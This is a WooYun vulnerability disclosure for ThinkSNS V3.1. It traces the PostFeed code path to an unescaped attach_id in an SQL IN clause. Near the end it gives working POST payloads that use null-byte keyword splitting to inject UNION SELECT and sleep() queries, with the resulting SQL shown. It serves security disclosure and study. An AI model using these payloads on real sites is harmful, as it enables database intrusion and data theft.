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缺陷编号：wooyun-2015-095889

漏洞标题：ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

相关厂商：ThinkSNS

漏洞作者： menmen519

提交时间：2015-03-09 18:47

修复时间：2015-06-12 18:49

公开时间：2015-06-12 18:49

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-09： 细节已通知厂商并且等待厂商处理中
2015-03-14： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-05-08： 细节向核心白帽子及相关领域专家公开
2015-05-18： 细节向普通白帽子公开
2015-05-28： 细节向实习白帽子公开
2015-06-12： 细节向公众公开

简要描述：

ThinkSNS 防御绕过2

详细说明：

这个代码跟的我好辛苦啊：

public function PostFeed()
	{	
		// 返回数据格式
		$return = array('status'=>1, 'data'=>'');
		// 用户发送内容
		$d['content'] = isset($_POST['content']) ? filter_keyword(h($_POST['content'])) : '';
		// 原始数据内容
		$d['body'] = filter_keyword($_POST['body']);
		// 安全过滤
		foreach($_POST as $key => $val) {
			$_POST[$key] = t($_POST[$key]);
		}
		$d['source_url'] = urldecode($_POST['source_url']);  //应用分享到微博，原资源链接
		
		// 滤掉话题两端的空白
		$d['body'] = preg_replace("/#[\s]*([^#^\s][^#]*[^#^\s])[\s]*#/is",'#'.trim("\${1}").'#',$d['body']);	
		// 附件信息
		$d['attach_id'] = trim(t($_POST['attach_id']), "|");
		if ( !empty($d['attach_id']) ){
			$d['attach_id'] = explode('|', $d['attach_id']);
			array_map( 'intval' , $d['attach_id'] );
		}
		// 发送微博的类型
		$type = t($_POST['type']);
		// 所属应用名称
		$app = isset($_POST['app_name']) ? t($_POST['app_name']) : APP_NAME;			// 当前动态产生所属的应用
		
		$data = model('Feed')->put($this->uid, $app, $type, $d);


跟进去put:

public function put($uid, $app = 'public', $type = '', $data = array(), $app_id = 0, $app_table = 'feed', $extUid = null, $lessUids = null, $isAtMe = true, $is_repost = 0) {
		if(false && isSubmitLocked()){
			$this->error = '发布内容过于频繁，请稍后再试';
			return false;
		}
		// 判断数据的正确性
		if(!$uid || $type == '') {
			$this->error = L('PUBLIC_ADMIN_OPRETING_ERROR');
			return false;
		}
		if ( strpos( $type , 'postvideo' ) !== false ){
			$type = 'postvideo';
		}
		//微博类型合法性验证 - 临时解决方案
		if ( !in_array( $type , array('post','repost','postvideo','postfile','postimage','weiba_post','weiba_repost') )){
			$type = 'post';
		}
		//应用类型验证 用于分享框 - 临时解决方案
		if ( !in_array( $app , array('w3g','public','weiba','tipoff') ) ){
			$app = 'public';
			$type = 'post';
			$app_table = 'feed';
		}
		
		$app_table = strtolower($app_table);
		// 添加feed表记录
		$data['uid'] = $uid;
		$data['app'] = $app;
		$data['type'] = $type;
		$data['app_row_id'] = $app_id;
		$data['app_row_table'] = $app_table;
		$data['publish_time'] = time();
		$data['from'] = isset($data['from']) ? intval($data['from']) : getVisitorClient();
		$data['is_del'] = $data['comment_count'] = $data['repost_count'] = 0;
		$data['is_repost'] = $is_repost;
		//判断是否先审后发
		$weiboSet = model('Xdata')->get('admin_Config:feed');
        $weibo_premission = $weiboSet['weibo_premission'];
		if(in_array('audit',$weibo_premission) || CheckPermission('core_normal','feed_audit')){
			$data['is_audit'] = 0;
		}else{
			$data['is_audit'] = 1;
		}
		// 微博内容处理
        if(Addons::requireHooks('weibo_publish_content')){
        	Addons::hook("weibo_publish_content",array(&$data));
        }else{
        	$content = $this->formatFeedContent($data['body']);
        	$data['body'] = $content['body'];
        	$data['content'] = $content['content'];
        }
        //分享到微博的应用资源，加入原资源链接
        $data['body'] .= $data['source_url'];
        $data['content'] .= $data['source_url'];
		
        // 微博类型插件钩子
		// if($type){
		// 	$addonsData = array();
		// 	Addons::hook("weibo_type",array("typeId"=>$type,"typeData"=>$type_data,"result"=>&$addonsData));
		// 	$data = array_merge($data,$addonsData);
		// }
        if( $type == 'postvideo' ){
        	$typedata = model('Video')->_weiboTypePublish( $_POST['videourl'] );
        	if ( $typedata && $typedata['flashvar'] && $typedata['flashimg'] ){
        		$data = array_merge( $data , $typedata );
        	} else {
        		$data['type'] = 'post';
        	}
        		
        }
     
		// 添加微博信息
		$feed_id =  $this->data($data)->add();
		if(!$feed_id) return false;
		  
		if(!$data['is_audit']){
			$touid = D('user_group_link')->where('user_group_id=1')->field('uid')->findAll();
			 
			foreach($touid as $k=>$v){
				model('Notify')->sendNotify($v['uid'], 'feed_audit');
			}
		}
		// 目前处理方案格式化数据
		$data['content'] = str_replace(chr(31), '', $data['content']);
		$data['body'] = str_replace(chr(31), '', $data['body']);
		// 添加关联数据
		$feed_data = D('FeedData')->data(array('feed_id'=>$feed_id,'feed_data'=>serialize($data),'client_ip'=>get_client_ip(),'feed_content'=>$data['body']))->add();
		
		// 添加微博成功后
		if($feed_id && $feed_data) {
			//锁定发布
			lockSubmit();
			//微博发布成功后的钩子
			//Addons::hook("weibo_publish_after",array('weibo_id'=>$feed_id,'post'=>$data));
			// 发送通知消息 - 重点 - 需要简化把上节点的信息去掉.
			if($data['is_repost'] == 1) {
				// 转发微博
				$isAtMe && $content = $data['content'];									// 内容用户
				$extUid[] = $data['sourceInfo']['transpond_data']['uid'];				// 资源作者用户
				if($isAtMe && !empty($data['curid'])) {
					// 上节点用户
					$appRowData = $this->get($data['curid']);
					$extUid[] = $appRowData['uid'];
				}	
			} else {
				// 其他微博
				$content = $data['content'];
				//更新最近@的人
				model( 'Atme' )->updateRecentAt( $content );								// 内容用户
			}
			
			// 发送@消息
			model('Atme')->setAppName('Public')->setAppTable('feed')->addAtme($content, $feed_id, $extUid, $lessUids);


再跟进去addAtme：

public function addAtme($content, $row_id, $extra_uids = null, $less_uids = null) {
        // 去除重复，空值与自己
        $extra_uids = array_diff($extra_uids, array($GLOBALS['ts']['mid']));
        $extra_uids = array_unique($extra_uids);
        $extra_uids = array_filter($extra_uids);
        $less_uids[] = $GLOBALS['ts']['mid'];
        $less_uids = array_unique($less_uids);
        $less_uids = array_filter($less_uids);
        // 获取@用户的UID数组
    	$uids = $this->getUids($content, $extra_uids, $row_id, $less_uids);


继续跟进getUids：

public function getUids($content, $extra_uids = null, $row_id, $less_uids = null) {
        // 正则匹配内容
    	preg_match_all($this->_at_regex, $content, $matches);
    	$unames = $matches[1];
    	$map = "uname in ('".implode("','",$unames)."')";
    	$ulist = model('User')->where($map)->field('uid')->findall();
    	$matchuids = getSubByKey($ulist,'uid');
        // 如果内容匹配中没有用户
        if(empty($matchuids) && !empty($extra_uids)) {
            // 去除@用户ID
            if(!empty($less_uids)) {
                foreach($less_uids as $k => $v) {
                    if(in_array($v, $extra_uids)) {
                        unset($extra_uids[$k]);
                    }
                }
            }
            return is_array($extra_uids) ? $extra_uids : array($extra_uids);
        }
        // 如果匹配内容中存在用户
        $suid = array();
        foreach($matchuids as $v) {
            !in_array($v, $suid) && $suid[] = (int)$v;
        }
        // 去除@用户ID
        if(!empty($less_uids)) {
            foreach($suid as $k => $v) {
                if(in_array($v, $less_uids)) {
                    unset($suid[$k]);
                }
            }
        }
        
		// 发邮件流程
        $author = model('User')->getUserInfo($GLOBALS['ts']['mid']);
        $content = model('Source')->getSourceInfo($this->_app_table, $row_id, false, $this->_app);


再看看getSourceInfo：

public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') {
		static $forApi = '0';
		$forApi == '0' && $forApi = intval ( $_forApi );
		
		$key = $forApi ? $table . $row_id . '_api' : $table . $row_id;
		if ($info = static_cache ( 'source_info_' . $key )) {
			return $info;
		}
		
		switch ($table) {
			case 'feed' :
				$info = $this->getInfoFromFeed ( $table, $row_id, $_forApi );


再跟进去getInfoFromFeed :

private function getInfoFromFeed($table, $row_id, $forApi) {
		$info = model ( 'Feed' )->getFeedInfo ( $row_id, $forApi );


再跟进getFeedInfo：

public function getFeedInfo($id, $forApi = false) {
		$data = model( 'Cache' )->get( 'feed_info_'.$id );
		
		if ( $data !== false && ($forApi === false || ($forApi === true && isset($data['iscoll'])) ) ){
			return $data;
		}
		$map['a.feed_id'] = $id;
		
		// //过滤已删除的微博 wap 版收藏
		// if($forApi){
		// 	$map['a.is_del'] = 0;
		// }
		
		$data = $this->where($map)
					 ->table("{$this->tablePrefix}feed AS a LEFT JOIN {$this->tablePrefix}feed_data AS b ON a.feed_id = b.feed_id ")
					 ->find();
		
		$fd = unserialize($data['feed_data']);	
		$userInfo = model('User')->getUserInfo($data['uid']);
		$data['ctime'] = date('Y-m-d H:i',$data['publish_time']);
		$data['content'] = $forApi ? parseForApi($fd['body']):$fd['body'];
		$data['uname'] = $userInfo['uname'];
		$data['user_group'] = $userInfo['api_user_group'];
		$data['avatar_big'] = $userInfo['avatar_big'];
		$data['avatar_middle'] = $userInfo['avatar_middle'];
		$data['avatar_small']  = $userInfo['avatar_small'];
		unset($data['feed_data']);
		
		// 微博转发
		if($data['type'] == 'repost'){
			$data['transpond_id'] = $data['app_row_id'];
			$data['transpond_data'] = $this->getFeedInfo($data['transpond_id'], $forApi);
		}
		
		// 附件处理
		if(!empty($fd['attach_id'])) {
			$data['has_attach'] = 1;
			
			$attach = model('Attach')->getAttachByIds($fd['attach_id']);


第一步：
$fd = unserialize($data['feed_data']);
第二步：
$attach = model('Attach')->getAttachByIds($fd['attach_id']);
这时候 在跟进到getAttachByIds 这里面：

public function getAttachByIds($ids, $field = '*') {
		if(empty($ids)) {
			return false;
		}
		!is_array($ids) && $ids = explode(',', $ids);
		$map['attach_id'] =	array('IN', $ids);
		$data = $this->where($map)->field($field)->findAll();
		return $data;
	}


造成一个看起来和二次注意一样的，但是又没有任何限制的注入：
构造url:
http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Feed&act=PostFeed
postdata:
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
后台抓取的sql：
2015/2/5 20:48 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )
触发漏洞条件
1.注册一个普通用户
2.refresh只要是本站就可以我们设置为http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
3.为了明显期间我们采用延时盲注进行测试
发送url:
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
postdata:
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on sele%00ct sle%00ep(1%2f10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
referer:
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
后台抓取sql为:
2015/3/2 13:22 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select sleep(1/10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )

漏洞证明：

修复方案：

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-12 18:49

厂商回复：

最新状态：

暂无